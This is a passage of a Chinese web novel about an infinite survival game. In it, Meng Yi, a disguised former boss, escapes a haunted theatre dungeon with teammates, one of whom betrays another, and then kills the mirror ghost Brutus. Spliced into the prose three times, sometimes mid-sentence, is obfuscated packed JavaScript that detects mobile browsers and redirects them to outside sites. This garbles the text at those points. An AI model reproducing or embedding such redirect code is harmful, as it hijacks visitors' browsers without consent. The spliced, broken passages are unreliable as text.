他们三个人的交谈,孟绎根本没在听,新人玩家间的鸡飞狗跳,孟绎也懒得关心。他淡淡地说:“随意。” 拿到转换卡,刘明和贺彩音立刻去五楼找厄运蜡烛,孟绎和常昊向秘术师询问副本的故事背景。 孟绎成功开启隐藏线,然而,刘明那边,转换结果像一个恶劣玩笑。 献祭卡还是献祭卡,但绑定的玩家变为贺彩音。 此外,由于这张杂役级行为卡第二次经历转换,卡牌受损。 一般的献祭卡,可化为剧毒匕首,造成两厘米深的伤口,就能让玩家暴毙。 受损的献祭卡,失去了这一致命功能,只能化为一把生锈的钝匕首,用这把匕首切西瓜都费劲,何谈杀人? 屋漏偏逢连夜雨,孟绎还开启了隐藏线,环境越来越危险。常昊离开,副本中只剩下三个人:贺彩音、刘明、孟绎。 “怎么会这样……”刘明靠着办公桌,瘫坐在地。 贺彩音捏着那张受损献祭卡,卡牌锋利的边缘嵌进她的掌心。她深呼吸数次,低声说:“只有一个办法了。” 刘明忽地抬起头,谨慎地盯着贺彩音。 副本中只剩下三个人,孟绎的实力有目共睹。贺彩音要献祭一个人,唯一的选择……就是刘明自己。 “别担心,我不会伤害你。”贺彩音无力地笑了一下。 “你想杀孟绎?”刘明连连摇头,“他太可怕了,我们很难做到。但你获得了新武器,或许可以试一试。” “不行,”贺彩音拿出那柄巨斧,“斧头太沉,我还没强化体能,攻击速度慢,孟绎的反应速度比猫还快,根本打不中他。” 刘明举起斧头,尝试着挥动一次。巨斧的重量相当于两大桶纯净水,即使是刘明这种膀大腰圆的,拿起来也要费点力气。 贺彩音:“所以说,我们去找孟绎帮忙。” * 一楼篝火房。 “强行逃离副本?”孟绎困惑。 贺彩音点点头:“我猜,你也看出来了,我不是被骗进来的,我有老玩家接应。” 孟绎点点头,表示赞同。 副本外禁止玩家自相残杀,但在贡多拉上,贺彩音杀了一个人,管理员却没找她麻烦。 孟绎还记得被贺彩音杀死的那个人,鬓角的头发里,藏着一个小小的针眼。 “我若强行逃离副本,接应我的老玩家会帮我摆平剩下的事。”贺彩音说,“但现在进入隐藏线了,逃跑过程会遇到很多危险,我希望你和刘明能保护我。” 刘明拍了拍贺彩音的肩膀:“我舍了命也会保护你。” 孟绎默不作声。竟然能强行逃离副本?《游戏规则》里怎么没写? 哦,这种违规的事,当然不会写进规则里。 “孟绎,帮帮我,好么?”贺彩音说,“我会把我认识的那些老玩家介绍给你。” 思索片刻后,孟绎点头同意:“可是,从哪里强行逃离副本?出口?” “不,我从入口离开。”贺彩音说。 剧院整体呈“回”字形,一层被演出厅分成两半。一半是观众区,一半是员工区。 刚进入副本时,孟绎试图打开通往演出厅的门,但系统提示门不能从那一侧打开。 玩家们进入副本后,一直在员工区徘徊,还没怎么去过观众区。 三人所处的篝火房,虽然也在一楼,但想回到入口处,却不太容易。 他们要么往楼上走,绕半圈,再走楼梯来到一楼。要么走一条完全陌生的路,进入观众区,横穿演出厅,打开那扇被锁住的门,回到入口处。 第一种选择,路线熟悉,但距离远。第二种选择,距离近,路线完全陌生。 隐藏副本开启,原本油亮的实木地板,此刻正迅速腐朽、发霉,散出一股泥土的腥气。 贺彩音把巨斧卡牌交到孟绎手上:“你力气大,这把武器你拿着,遇到危险时,我们只能指望你了。” 普通人拿起来都费力的巨斧,孟绎单手握着,挥动几次,轻松得像在挥苍蝇拍。 尽管时机不对,但贺彩音还是在心里感叹了一下:这堪称恐怖的力量,眼前的家伙真的是人类么? “事不宜迟,”刘明一左一右把两位队友拽起来,“我们赶紧走吧。” 贺彩音:“我们走哪条路?” “近的那条。”孟绎说。他有些迫不及待,他还没听说过强行逃离副本这种事呢,很想看看会发生什么。 他一发话,没人反驳。刘明用他的功能卡【静默祈祷】,与每一位队友的初始装备绑定。这样一来,可以降低他们被怪物发现的概率。卡牌可以使用三次,刚刚好,他们有三个人。 做完准备工作,刘明小心翼翼地拉开篝火房房门,左右看了看,向他们招招手,示意二人跟上。 进入隐藏线,原本荒凉的剧院彻底变成废墟。墙砖缝隙中长出青苔,吊顶噼里啪啦往下掉渣。灯光全部熄灭,演出厅传来幽咽哀怨的歌声,听得人牙酸。 偶尔能听到“咚、咚、咚”的闷响,也是从演出厅的方向传过来的,不知是什么声音。 “又是《怨侣》的配乐。”刘明听到这死了人似的乐曲,就想到观看彩排的事,心情极差。 他头脑比较简单,只在心里骂这歌声晦气,贺彩音思考得全面一些。 “怨侣的配乐怎么又响起来了?”贺彩音猫着腰,跟在刘明身后,“怪物是不是在演出厅,我们小心一些。” 话音刚落,刘明就推开了演出厅的门。灰青的灯光从他们脸上扫过,聚拢在舞台上。 贺彩音猜得没错,舞台上有人在跳舞……或者说,有半截人在跳舞。 被腰斩的舞团成员,不知何时活了过来,整齐划一地出现在舞台上——只有上半截身躯。 他们涂着厚重的舞台妆,露出夸张的笑容,随音乐做舞蹈手势,随鼓点起跳落地。砸出“咚、咚、咚”的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522616|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这一幕,刘明全身发麻。好在,半截舞者没发现他们。三人半蹲着潜行,借助观众席的掩护,一点点往入口的方向走。 舞台上的演员跳得陶醉、忘我。刘明逐渐靠近那扇被锁住的门。 不祥的预感在贺彩音心中升起:已经进入隐藏线了,副本不可能这么简单,一个【静默祈祷】的效果加潜行,就能安安全全地离开。 正想着,音乐变成刺耳的杂音。 贺彩音条件反射地停住脚步,前面的刘明没反应过来,仍蹲着身往前走。 直到——半截舞者发出尖利的嘶吼,从舞台上冲下来。 他们虽只有半截身体,但移动速度快得惊人,刘明回头时,一个半截人已冲到他面前。 刘明下意识地寻找孟绎的身影,希望他能出手相救。但是……孟绎消失了。 贺彩音拿出冶炼锤,砸中半截人后脑勺,拽起刘明就跑。 “孟绎呢!”刘明大喊。 “我不知道!”贺彩音上气不接下气,“他应该跟在我身后啊!” 他们二人力量不足,即使有武器,也很难杀死半截人。而半截舞者有十多人,呼呼啦啦往他们身上扑,二人很快无法招架。 刘明怒极:“这小子这么不靠谱么!!亏你还把巨斧给了他!” 贺彩音砸烂一名半截舞者的两颗眼球,这鬼东西失去视力,仍紧追不舍,且没有痛觉似的,攻击速度丝毫没有减缓。 半截人跳到观众席靠背上,围成一个圈,把贺彩音和刘明困在中间。 变调的乐曲简直是噪音,刺得贺彩音耳朵疼,她紧紧握住锤子,咬紧后槽牙。她不相信……不相信孟绎会在关键时刻掉链子。 音乐再次响起。 瞬间,所有半截人失去攻击欲,围成的包围圈散开,饿虎扑食似的往舞台上爬。 二人同时松了口气,只觉得手脚酸软,眼前一阵阵发黑。 “孟绎在那儿呢。”贺彩音撑着膝盖喘粗气,握着锤子的手,指向舞台旁边的位置。 只见孟绎站在一个留声机旁边,好奇地拨弄唱针。 【孟绎怎么对什么东西都好奇,他刚进演出厅,就盯着留声机看,眼睛都不转了。】 【多亏了孟绎的好奇心,刚才唱针卡住了,音乐变成噪音,要不是孟绎把唱针摆好,贺刘二人就危险了。】 玩家发现半截舞者受音乐控制,三人又有【静默祈祷】的效果加持,音乐响起时,他们听不到脚步声。贺彩音也不蹲下潜行了,跑到孟绎身边,诱哄一般的语气:“走吧走吧,别玩了,等我出去了,给你买一套杜比音箱。” “这根细针很有趣。”孟绎的手指又碰了唱针一下,“我才知道,针还能奏响音乐。” 贺彩音:“……” 原来你只关心针、布料和衣服。 三人一口气跑到大门处。门被锁链锁住了,他们推了一下,铁链哗啦啦一响。 贺彩音警惕地回头一瞧,舞台上的半截人动作慢了半拍,朝他们望过来。 很快,他们随着乐曲继续起舞,腰部扑通扑通砸在舞台上,留下一大朵血花。 发出的噪音太大,他们一定会追过来。 再看看缠着严严实实的铁链,贺彩音心底一凉。 “把铁链砸断。”孟绎说。 刘明面颊上的赘肉颤抖:“砸东西的声音太大,那群鬼玩意一定会追过来。” “隐藏线,肯定有危险。”孟绎说,“我殿后,你们跑。” 很有道理。 刘明用力握了一下孟绎的手:“哥,算我求你,这次你别突然玩消失。” 说罢,刘明举起锤子,朝铁链狠狠一砸。 叮—— 敲击声响起时,舞台上所有半截人停下动作。刘明和贺彩音不敢多想,狠命地一下接一下砸着铁链。 身后“呼——”的一声响,是孟绎挥动巨斧的声音。 刘明只顾着砸,顾不得其他,他力道和方向没控制好,把自己的左手拇指砸得扁平,但他咬着牙关,一声没吭。 鲜血从身后喷来,内脏碎片弹到门板上。两人顾不得擦拭沾血的脸颊,咬牙砸着最后一条锈蚀的铁链。 当啷。铁链断裂。 “跑!”贺彩音大喊一声,抓着断裂的铁链,率先冲出去。等两位队友冲出演出厅,贺彩音嘭地关上门,一只手从门缝中伸出来,灰青的五指抓挠空气。 孟绎一斧将那只手斩断,贺彩音慌乱地把刚刚砍断的铁链缠在两侧门把手上。 三个人用身体堵着门,里面的半截舞者咚咚咚地锤门板,每一下都像锤在玩家的心脏上。 过了足足三分钟,攻击停止,乐曲声仍然想着,夹杂半截舞者起跳、落地砸着舞台的声音。 结束了…… 刘明望着入口处的微光,颇有重见天日之感。 门槛处,画着一条红线,以及一行红字:禁止从此处离开。 贺彩音用力抱了一下孟绎:“谢谢你,我们很快会见面。” 她又用力抱住刘明,这一次,她什么也没说。 “走吧,彩音妹子。”刘明拍了拍贺彩音的后背,“我这就出去,副本外见。” “刘明,你真是个好人。”贺彩音闷声说。 “嗐,现在别说这个了,”刘明不好意思地笑了笑,“接应你的老玩家呢,他……” 话未说完,就听贺彩音阴沉、低哑地说:“但我不是个好人。” 她一脚将刘明踹出红线外。 刘明错愕地瞅着贺彩音,这时他听到系统提示:“【杂役-刘明】违规离开副本僵化剧院。淘汰。” 身份卡一块块崩解,刘明感觉身体从内部被撕裂。意识消失前的最后一秒,他看到贺彩音捏着那张献祭卡,歪头打量。 献祭卡破碎,任务完成。刘明的脑袋裂成两半。 17.僵化剧院(15) 孟绎睁圆了一双眼睛,一会儿看看贺彩音,一会儿看看红线外刘明的尸块,完全没想到这种发展。 “我不会害你,”贺彩音举起两只手,慢慢靠近孟绎,“我也害不了你。” 她朝身后的尸块撇撇嘴:“如果是你,你一定会在我刚抬腿时就反应过来,并把我推出红线外。” 孟绎当然能做到,但他还是对人类提高了一点警惕心,只有一点点。至少在玩心眼儿这方面,孟绎比不过人类。 “我们一起探索隐藏线,怎么样?”贺彩音停在孟绎三五米远的位置,同时用安抚的语气说,“孟绎,我看得出来,你心思很单纯,即使刘明想杀你,你也没对他下死手。” “你在这个副本很安全,下个副本呢?更高级的副本呢?队友是顶级玩家呢?总会有像我一样歹毒的人想利用你、陷害你。” 见孟绎没反应,贺彩音又往前靠近了一步,此情此景,她感觉自己在哄一只猜不出心思的猛兽。 “我们达成同盟,怎么样?”贺彩音问,“我们以后一起进副本,我会用我的恶意帮助你,如何?” 贺彩音:“无限游戏的中高难度副本,以及所有隐藏线,都需要可靠的队友。我不会伤害你,因为我需要你。” “你也需要一个足够阴险的队友,是不是?”贺彩音继续说,“有一点我没欺骗刘明,我确实认识老玩家,不止一个。他们非常强大,我会让他们成为你的队友。” 孟绎想了想,点头同意。 他不担心贺彩音威胁他的生命安全,孟绎当了一百多年的终极BOSS,怎么可能死在一个新人玩家手里? 孟绎对贺彩音口中的“老玩家”很感兴趣,他回到提尔纳诺恪,是为了拿回自己的缝纫作品,但他现在权限不够,根本见不到万相,或许,通过那些老玩家,他可以缩短自己的“讨薪之路”。 见孟绎点头,贺彩音又慢慢往前靠了一步,伸出一只手:“你好,队友。” 这是一个想要握手的姿势,但孟绎不知道什么是握手,也不知道贺彩音把手掌伸过来是什么意思。 犹豫片刻,孟绎伸出一根手指,挠了挠她的手掌心。 贺彩音:…… * 僵化剧院副本,只剩下孟绎和贺彩音两人。他们又回到1楼篝火房。 刘明死后,他的道具进入贺彩音的仓库,只有一张杂役等级的道具卡【祈愿纸条】,可以增加炼金/缝纫的成功率,炼制过程本来就没出什么错的话,则可以提高成品的品质。 贺彩音用【祈愿纸条】和她剩余的一瓶哑盐制作了一个护心符,她心态很稳,只出了一个小错误,有祈愿纸条加持,成功炼制出【护心符(精品)】 “好极了,精品护心符,”贺彩音长呼一口气,“小孟,你拿着。” 不知不觉间,贺彩音对队友的称呼,已经从“孟绎”变为“小孟”,倒不是她在孟绎面前拿大,而是……孟绎真的很像一只懵懂的动物。 异于常人的举止、异于常人的行为模式,以及,异于常人的力量和反应速度。 此刻,孟绎正盘腿坐在篝火房的房门旁,专心致志地缝着他的小胖蛇玩偶,一点儿也没有进入隐藏线的紧张感。 “我不用。”孟绎头也不抬地说。 贺彩音:“拿着吧,现在的副本很危险。” “可爱么?”孟绎举起小胖蛇毛绒玩偶 贺彩音:“……可爱。你幸运F,秘术师和巫鬼优先攻击你,护心符对你用处更大,额,怎么了?” 话说一半,只见孟绎一错不错地盯着贺彩音身后,似乎发现了什么 孟绎疑惑地说:“那好像不是你的影子。” 贺彩音全身警惕,一寸寸转过头去。 黑篝火将她的影子投在墙壁上,但贺彩音扎着高马尾,穿着卫衣和宽松运动裤。 墙上的影子,却像一个男人,短发,穿中长款风衣。 进入隐藏线,即使在篝火房也不安全。方才,贺彩音专心炼制道具,孟绎低头缝制小胖蛇玩偶,谁也没注意墙上的影子。 此刻发现异常,贺彩音后背发凉,影子是什么时候变的?为什么会变?会造成什么后果? “我们不能待在篝火房里了,快走。”贺彩音拿起护心符就要走,余光一瞥熊熊燃烧的黑篝火,登时屏住呼吸。 不知何时,篝火中多了一只巴掌大的人形布娃娃,已经被烧得焦黑,隐约可分辨四肢和一根根直立起来的长发。 贺彩音顾不得烫,把娃娃抓出来。火焰已将娃娃烧得松垮变形,她在娃娃内部黑色的、散发着淡淡臭气的棉花里,挖出一块指甲。 下意识地,贺彩音看向自己的手,进入副本时,她十指均是半长的指甲,此刻,左手无名指的指甲断了,边缘处一丝血线。 贺彩音把娃娃里的指甲,和自己的手指甲拼在一起,严丝合缝。 “我多希望这是你的一个小玩笑。”贺彩音疲倦地向孟绎笑了一下。 孟绎才不会缝这么丑的东西,更不会把指甲缝进柔软的布料和棉花里。他说:“先离开篝火房。” 刚要拉开房门,孟绎的动作停顿。门外有东西,他听到了那东西沉重的呼吸声。 孟绎拿出巨斧,轰隆一声将门板竖着劈成两半。 藏在门后的怪物是野兽舞者克吉尼亚。她偷袭不成,猝不及防挨了一斧子,怒吼一声,扑进篝火房。 孟绎向侧边一跳,躲过这次攻击,巨斧又咚的一声砸中野兽的脑壳。 克吉尼亚鬃毛似的粗硬长发中,只渗出一点血迹,巨斧的斧刃则崩碎了一个角。 进入隐藏线,相当于越级挑战副本,杂役级武器不好用,很正常。孟绎并不着急,他的拳头永远可靠。 孟绎咣当一声扔下巨斧,正要朝野兽主舞挥拳。 野兽却趁这个空隙,越过孟绎,直奔贺彩音。 贺彩音愣了一下。孟绎幸运值更低,大多数情况下,敌人应该将仇恨锁定在孟绎身上,更别提孟绎还砍了野兽舞者两斧头,野兽应该追着孟绎咬才对。 孟绎也蹙起眉头,隐藏线开启后,秘术师和巫鬼都会进入狂化模式,心中不再有恐惧,唯余杀戮的欲望。 也就是说,克吉尼亚不再畏惧孟绎,按照幸运值排序,她会优先攻击孟绎,为何将仇恨锁定在贺彩音身上? 有点奇怪,孟绎决定再验证几次。 他揪住野兽舞者的鬃毛,把它拖回自己身边。 克吉尼亚怒吼一声,甩开孟绎的手,再次扑向贺彩音。 孟绎第二次把它拉回来,放手,再拉回来,再放手…… 房间另一侧的贺彩音手里紧紧握着斧头,沉默数秒:“小孟,这个时候就不要玩了。” 【太有节目效果了[打赏金币3枚]】 【哪里不对劲么?孟绎又抓又放地干什么?】 【幸运值啊,仇恨锁定啊!野兽舞者应该攻击孟绎,但它现在认准了贺彩音】 【是不是贺彩音触发了被攻击的条件?这种情况下,幸运值的影响无效】 玩家在副本中,如果做错了某些事,会优先被怪物攻击。比如在换衣间的麦格纳,只能看到移动的物体。孟绎尽管是幸运F,但麦格纳也不会主动攻击他。 【但贺彩音刚才什么也没做啊,她不是在炼制护心符么?】 孟绎也想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538156|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这一点,贺彩音刚才只是在炼制护心符,但墙上的男人影子,篝火中的诅咒娃娃…… “贺彩音,你的护心符有问题。”孟绎说。 话音未落,克吉尼亚猛地一挣,大把的头发连带头皮被扯了下来,朝贺彩音飞扑过去。 野兽的速度快得惊人,带起呼啸的风声。 贺彩音正死死攥着护心符,听到孟绎的话,她像扔脏东西似的把护心符甩出去,同时往旁边一扑。 护心符被甩到半空,紧接着,被青紫色的兽爪击中。 轰隆一声,震耳欲聋的巨响,护心符爆炸。 气浪将两名玩家掀飞,黑篝火瞬间被吹灭。被震碎的天花板瞬间垮塌。 爆炸声震得贺彩音耳朵嗡嗡直响,大脑像晃动的核桃仁似的撞击着颅骨。她登时两眼发黑,天花板的碎渣砸在她身上。 …… “醒醒。” “你还要给我介绍老玩家呢,不能死。” 孟绎扶着贺彩音的肩膀,用力前后摇晃,一点也不顾忌贺彩音的伤势。但他成功地把贺彩音晃醒了。 贺彩音刚睁开眼睛就问:“野兽呢?” “受重伤,逃跑了。”孟绎偏头看向一片废墟的篝火房。水泥碎渣子里,埋着一张破碎的卡牌,护心符道具卡。 他把卡牌碎片一块块捡起来,在掌心中拼好,无论是牌名、牌面还是卡背,都与普通的护心符道具卡一模一样。 但这不是护心符,而是夺命符。如果当时贺彩音将护心符带在身上,被炸死的将是贺彩音。 贺彩音唇色惨白,声音有气无力:“怎么回事,明明是精品护心符。我知道了……” 她张开左手,掌心里紧紧攥着从火堆里抓出来的诅咒娃娃。 应该和这一处异常有关,诅咒娃娃会逆转道具卡功能。护心符原本能抵御两次致命攻击,受诅咒娃娃影响,变成将攻击伤害双倍奉还。 孟绎翻开系统中的《信仰秘典》,这本书记录着秘术师、巫术师已解锁的攻击方式、背景故事、弱点等信息。 【野兽舞者·克吉尼亚】 攻击方式1:??? 攻击方式2:兽化攻击 绝技:真实面目(克吉尼亚可切换为野兽形态,攻击力、防御力、速度等多属性数倍提升) 往后翻到刚解锁的一页。 【???】 攻击方式1:??? 攻击方式2:诅咒(在玩家使用道具、炼制道具时,逆转道具的功能) 绝技:??? 果然如此。孟绎合上《信仰秘典》,这时,贺彩音已奄奄一息,她一手捂着腹部,鲜血汩汩从指缝中溢出。 贺彩音受伤了,伤得很重。孟绎拿出缝纫针和剩余的灵线,想把贺彩音的伤口缝上。 一只手搭在孟绎胳膊上,贺彩音吸着气,声若蚊呐:“你的缝纫针……也会被逆转,变成毒针。” 缝纫针看起来和之前别无二致,孟绎把针头往自己手背上一次,暗紫色的纹路从针眼处扩散,仅在一个呼吸间,整个手背变成暗紫色。 但孟绎百毒不侵,眨眼之间,手背恢复如初。 “小孟,你继续探索隐藏线吧,我坚持不下去了,反正我完成搜集进度了,我离开副本。”贺彩音摇摇晃晃地站起来,伤口随她的动作涌出更多的血。 “但搜集进度也被逆转了。”孟绎说,“你出不去。” 贺彩音全身一震,立刻打开系统面板,看到搜集进度那一栏,瞳孔遽缩。 哑盐和灵线也是道具,也会被不知名怪物的技能影响。 贺彩音搜集进度从3/2,变成-3/2 18.僵化剧院(16) 贺彩音全身脱力,倒在废墟中,许久之后,轻声笑了出来:“我太自信了……这是报应。” 孟绎没说话,他若有所思地盯着手中的胖蛇毛绒玩偶,手指扒开还没缝好的绒布,勾出一小缕棉花。 缝纫针不知不觉间被转化为毒针,而孟绎一直用这根针缝着他的小玩偶。 棉花内泛起淡淡的青紫色,扯出来一看,毒液顺着纤维蔓延,比头发丝还细的小虫子爬上孟绎的手指,密密麻麻地攒动着。 这只毛绒玩偶,孟绎绣了整整三天,彻底被毒针毁了。 “不长眼的,敢找我的麻烦。”孟绎紧捏玩偶,抬头向某个方向望去。 贺彩音腹部的伤口血流如注,她全身煞白,声音有气无力:“小孟,别管我了,你想办法离开……” 【又开始了,生离死别时的煽情】 【最不爱看这种情节,磨磨唧唧的】 【可惜是直播,不能快进】 “我不想成为累赘,”贺彩音咽下一口血,“小孟,你快走,不要管我。” 孟绎:“善自珍重。” 说罢,孟绎扭头就走,甚至没看贺彩音一眼。 对方拒绝了一次煽情,贺彩音:?? 【哈哈哈哈好果决】 【转头就走,毫不迟疑】 【这位可是孟绎,怎么可能和你拉拉扯扯,磨磨蹭蹭】 离开篝火房后,孟绎闭上眼,深呼吸一次,捕捉空气中的气息。 找到他了。 孟绎望向楼上的一点,提起锤子上楼,脚步轻盈得不可思议,听不到一点声音,仿佛鬼魂在台阶上飘, 一路来到五楼,出了电梯间,转过一个拐角,推开隔离门,进入观众区。 剧院观众们活动的区域是剧院的脸面,修建得格外金碧辉煌,看起来像凡尔赛的镜廊。即使今天破败不堪,灯光依旧璀璨,能看出曾经的辉煌。 镜子照出上百个孟绎,当孟绎走入镜廊时,不知名怪物的气息变了。 无边无际,无处不在,没有具体的方位。 毁了他的小胖蛇毛绒玩偶,还敢和他玩捉迷藏,孟绎决定好好敲打他。 巨斧在瓷砖上拖拽,发出刺耳的摩擦音,镜子随地板共振。 孟绎倏地转过头,盯着镜子中的自己。 似乎发现了什么值得注意的东西,孟绎缓缓靠近镜子,打量着自己的镜中成像。 发型变了。 孟绎是中长直发,整体黑色,有几绺白银似的头发,镜中的孟绎,却变成满头的黑色卷发。 短短一个呼吸间,孟绎的五官也变了。新出现的面孔很眼熟,他刚进入副本时就见过,是男主舞布鲁图斯。 他藏在镜子里,而这一整条走廊贴满了镜子,怪不得布鲁图斯的气息没有具体的方位。 那时孟绎饶了他一命,现在孟绎为自己的仁慈感到不值得。 他抡起斧头,砸碎镜子。哗啦哗啦一阵乱响,碎镜片飞散,折射万道棱光。 镜子切面处渗出鲜血,汇成涓涓细流,在半空中凝结成一个人的轮廓。 孟绎用手臂擦拭斧刃,头也不抬地问:“遗言?” “我不是陪衬、我不是点缀、我不是舞台的地板。”布鲁图斯拖着血淋淋的身体,一步步靠近孟绎,哀痛大吼:“我也是主舞,凭什么只有她能被看见!” 孟绎对布鲁图斯的悲痛视而不见,只觉得吵闹。巨斧横扫,将要碰到布鲁图斯时,血人凭空消失了。 这一次,孟绎精准感知到巫鬼的方位,在一块碎镜片里。没等布鲁图斯钻出来,孟绎就一斧头将碎镜片砸碎。 巫鬼的气息没有消失,甚至没有减弱,很快出现在第二块镜子碎片中。 孟绎:……你在陪我玩打地鼠么? 差不多得了,你知不知道你的技能有点烦? 与此同时,《信仰秘典》更新 巫鬼【布鲁图斯】 攻击方式1:你只是镜子(布鲁图斯只是麦格纳的镜子,唯一的作用是映照麦格纳光芒熠熠的身影。他可以融进任何一块镜子里,趁玩家不备发起攻击) 攻击方式2:诅咒(在玩家使用道具、炼制道具时,逆转道具的功能) 绝技:???(待解锁) 弱点:???(待解锁) 孟绎放下斧头,怅望一整条走廊数十面镜子。 砸碎一面镜子,就会多出几十块镜子碎块,而布鲁图斯能钻进指甲盖大小的碎镜子中。 和布鲁图斯玩打地鼠,恐怕没完没了。这是逃生游戏,不是体力游戏。 孟绎望着镜子碎片中倒映出来的千千万万条镜廊,忽然有了个想法。 镜子需要光才能成像,如果,没有光呢? 他单手将巨斧像回旋镖那样甩出,击落走廊里的枝形吊灯,刹那间,走廊陷入绝对的黑暗。 【我屏幕坏了?好黑】 【什么都看不清啊!】 暗光环境中,孟绎的黑色的瞳孔和巩膜向外扩散,逐渐,所有眼白都被黑色覆盖。 他抬起全黑的双眼,盯着狼狈从镜子中爬出来的布鲁图斯。 “取消你的诅咒效果。”孟绎说。 布鲁图斯神经质地咆哮:“人们提到我,只会说‘麦格纳的搭档’,凭什么!我有名字,我叫布鲁图斯!” 完全没办法交流啊,孟绎叹了口气。 但没关系,条条大路通罗马,杀了布鲁图斯,他的诅咒效果自然就消失了。 漆黑中,巨斧的破空之声响起,朝布鲁图斯的肩膀砸去。 斧刃劈开血人的肩膀,斜剖开他的胸腔,从腰际穿出。但眨眼之间,血人的两半身体融合在一起,和被攻击之前一模一样。 《信仰秘典》再次更新。 巫鬼【布鲁图斯】 攻击方式1:你只是镜子 …… 绝技:无法选中(不被注意的人,干脆彻底消失吧。玩家的技能和道具无法击中布鲁图斯) 弱点:辉煌之下(离开麦格纳,没人记得住“麦格纳的搭档”,布鲁图斯在麦格纳的辉煌之下才能存在。暗光环境,布鲁图斯的攻击方式1将失效) 孟绎再次无语:你的技能真的很烦。 既然技能和道具无法对布鲁图斯造成伤害,那就只能想想其他办法了,比如,利用地形攻击。 无月之夜,天地间一片昏黑。高处的风寒冷而锋利,不时吹起窗帘的一角。 孟绎用手肘击碎窗玻璃,站在窗边,面无表情地望着布鲁图斯。 布鲁图斯冲过来,孟绎单手按住他的后脖颈。那两颗全黑的眼珠,像研磨不开的黑墨汁。孟绎侧过脸,在布鲁图斯耳边轻声说:“拥抱自由吧。” 这句台词,完全是职业病。万相要求副本BOSS每杀死一个玩家,就要对玩家送上这句祝福。 为什么死在这场游戏里,就是拥抱自由?孟绎没有想过。但孟绎总忘记说,还被万相训斥过。 此刻,孟绎无意识地说出这句话,他在内心抗议:工伤!这算工伤! 孟绎按着布鲁图斯的脖子,两人一起翻出窗外。 【什么东西掉下去了???】 【我艹我听到了“拥抱自由吧”,这是BOSS送上最后一击时的台词!】 【孟绎不会嘎了吧,不要啊,我还期待他完美通关获得天才评级杀一杀某只畜生的锐气呢】 【孟猫不要死[打赏金币x5]】 【拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551552|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托,这是金币,不是复活币,打赏有什么用啊】 【冷静一下,我怎么觉得,“拥抱自由吧”像孟绎的声音?】 【孟绎说BOSS的台词干什么?更何况,他是新人,哪里知道BOSS的台词】 【等等,孟绎没死!】 脚步声在黑暗的走廊中响起,一个清瘦、高挑的身影,弓身跨过隔离门,黑白相间的长发被员工区的灯光照亮。 孟绎抬起头,全黑的巩膜一点点收缩,变成正常人的样子。 【厉害!!![打赏金币x10]】 【我就知道孟猫不会死!】 【所以刚才那句“拥抱自由吧”到底是谁说的?孟绎?还是布鲁图斯?】 【听起来像孟绎的声音。孟绎走别人的路,让别人无路可走】 系统提示音弹出: “【杂役-孟绎】击败巫鬼【黯淡主舞·布鲁图斯】,获得【剧情卡:至亲至疏】” “【杂役-孟绎】补全《信仰秘典》中【黯淡主舞·布鲁图斯】的资料,布鲁图斯的背景故事已解锁。” “【杂役-孟绎】获得成就【行知】” “同一批进入新手副本的玩家,首位补全任意一位秘术师/巫鬼的资料的玩家,将获得成就【行知】” “【杂役-孟绎】获得成就【句号】” “首次全任意一位秘术师/巫鬼的资料,将获得成就【句号】” “【杂役-孟绎】获得成就【速杀】” “与秘术师/巫鬼正面交锋5分钟内,击败秘术师/巫鬼将获得成就【速杀】” 系统播报足足过了一分钟才停下来,直播间观众啧啧感叹。 【从没听过系统一口气说这么长一段,我竟然在新手副本中见识过了】 【这是第几个成就了?】 【先知、探索、新生、序幕、行知、句号、速杀。一个新手副本获得七个成就,我进入无限游戏半年了,才4个成就】 【新手副本还没结束呢,孟绎还能多摘几个成就】 副本中,孟绎对系统的一长串播报没有任何反应。如果有静音选项,孟绎一定让万相闭麦。谁愿意听到前老板的声音? 布鲁图斯死亡,诅咒效果消失。孟绎第一时间查看他的胖蛇玩偶,恢复正常了。 再看看灵线的搜集进度,4/2,也正常了。 孟绎找了张干净的椅子坐下,将《信仰秘典》翻到布鲁图斯那一页。 背景故事:走入剧院的观众,期待着舞台上的精灵,而不是男舞者穿着尴尬的紧身裤在舞台上故作姿态。布鲁图斯是男主舞,更是麦格纳的陪衬。 :布鲁图斯爱慕她、仰望她、嫉妒她……直到,憎恨她。 :为《怨侣》的巡演做准备时,布鲁图斯对麦格纳施加诅咒。麦格纳的状态越来越差。台下的两个人也成了怨侣。 克吉尼亚说过,有一段时间,女主舞麦格纳的状态越来越差。甚至逼死了老团长,将可能接替她成为主舞的克吉尼亚毁容。 再看布鲁图斯的故事,麦格纳的疯狂并非无缘无故,而是因为布鲁图斯的诅咒。 